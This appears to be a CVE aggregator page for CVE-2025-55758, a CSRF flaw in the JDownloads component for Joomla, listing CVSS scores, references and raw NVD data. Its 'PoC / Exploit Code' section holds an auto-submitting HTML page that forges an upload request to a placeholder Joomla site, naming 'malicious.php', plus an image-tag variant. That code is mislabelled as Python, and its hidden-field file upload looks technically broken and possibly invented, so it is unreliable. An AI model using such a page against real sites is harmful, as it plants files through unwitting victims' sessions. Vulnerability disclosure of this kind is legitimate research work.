CVE-2025-55758

Description

Multiple CSRF attack vectors in JDownloads component 1.0.0-4.0.47 for Joomla were discovered.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

JDownloads component 1.0.0

JDownloads component <= 4.0.47

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-55758 CSRF PoC - Malicious Page -->
<!DOCTYPE html>
<html>
<head>
    <title>File Upload</title>
</head>
<body>
    <h1>Loading...</h1>
    <!-- CSRF Attack: Upload malicious file via JDownloads -->
    <form action="http://target-joomla.com/index.php?option=com_jdownloads&task=upload.save" 
          method="POST" enctype="multipart/form-data" id="csrf-form">
        <input type="hidden" name="file" value="malicious.php" />
        <input type="hidden" name="cat_id" value="1" />
        <input type="hidden" name="description" value="Malicious file" />
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

<!-- Alternative: Image tag-based CSRF (GET request) -->
<!-- <img src="http://target-joomla.com/index.php?option=com_jdownloads&task=upload&file=test" /> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55758
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55758
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55758/
[4] VulDB https://vuldb.com/cve/CVE-2025-55758
[5] https://jdownloads.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55758", "sourceIdentifier": "[email protected]", "published": "2025-10-28T10:15:42.980", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple CSRF attack vectors in JDownloads component 1.0.0-4.0.47 for Joomla were discovered."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://jdownloads.com/", "source": "[email protected]"}]}}